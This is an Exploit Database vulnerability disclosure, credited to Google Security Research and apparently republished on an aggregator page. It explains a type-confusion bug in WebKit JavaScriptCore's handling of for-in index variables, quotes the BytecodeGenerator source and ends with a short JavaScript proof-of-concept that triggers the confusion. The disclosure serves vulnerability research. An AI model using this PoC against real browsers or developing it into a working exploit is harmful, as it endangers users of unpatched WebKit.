WebKit JSC – ‘BytecodeGenerator::emitGetByVal’ Incorrect Optimization (1)

• Exploit Database
• 12 阅读

• 作者： Google Security Research
  日期： 2017-09-12
• 类别：

  • dos
  平台：

  • multiple
• 来源：https://www.exploit-db.com/exploits/42666/

• Let's start with JS code.
  
  let o = {};
  for (let i in {xx: 0}) {
  o[i]; <<-------- (a)
  }
  
  When the code generator meets (a), it will call BytecodeGenerator::emitGetByVal.
  
  Here's the code of BytecodeGenerator::emitGetByVal.
  
  RegisterID* BytecodeGenerator::emitGetByVal(RegisterID* dst, RegisterID* base, RegisterID* property)
  {
  for (size_t i = m_forInContextStack.size(); i > 0; i--) {
  ForInContext& context = m_forInContextStack[i - 1].get();
  if (context.local() != property)
  continue;
  
  if (!context.isValid())
  break;
  
  if (context.type() == ForInContext::IndexedForInContextType) {
  property = static_cast<IndexedForInContext&>(context).index();
  break;
  }
  
  ASSERT(context.type() == ForInContext::StructureForInContextType);
  StructureForInContext& structureContext = static_cast<StructureForInContext&>(context);
  UnlinkedValueProfile profile = emitProfiledOpcode(op_get_direct_pname);
  instructions().append(kill(dst));
  instructions().append(base->index());
  instructions().append(property->index());
  instructions().append(structureContext.index()->index());
  instructions().append(structureContext.enumerator()->index());
  instructions().append(profile);
  return dst;
  }
  
  UnlinkedArrayProfile arrayProfile = newArrayProfile();
  UnlinkedValueProfile profile = emitProfiledOpcode(op_get_by_val);
  instructions().append(kill(dst));
  instructions().append(base->index());
  instructions().append(property->index());
  instructions().append(arrayProfile);
  instructions().append(profile);
  return dst;
  }
  
  The method uses op_get_by_val to handle expressions like "o[i]". But, there is a fast path, which uses op_get_direct_pname, for when the index variable is a string. op_get_direct_pname is designed for a string index only. So if other types are used as indexes, it will cause type confusions. In the above JS code, it's very clear that "i" will be a string("xx") semantically. Therefore, it will use op_get_direct_pname to handle it.
  
  Here's another example.
  
  let o = {};
  for (let i in {xx: 0}) {
  o[i]; <<-------- (a)
  i = 0x123456; <<-------- (b)
  o[i]; <<-------- (c)
  }
  
  In this case, it will use op_get_direct_pname at (a). And at (b), since the index variable "i" is replaced, the invalidate method of the ForInContext object that makes "context.isValid()" return false is called. So, op_get_by_val will be used at (c).
  
  But the problem is that it can't properly handle the following case which cause a type confusion.
  
  let o = {};
  for (let i in {xx: 0}) {
  for (let j = 0; j < 2; j++) {
  o[i];// When j == 1, op_get_direct_pname was already emitted, but i is not a string anymore.
  i = 0;
  }
  }
  
  PoC:
  let o = {};
  for (let i in {xx: 0}) {
  for (let j = 0; j < 2; j++) {
  o[i];
  i = new Uint32Array([0, 1, 0x777777, 0, 0]);
  }
  }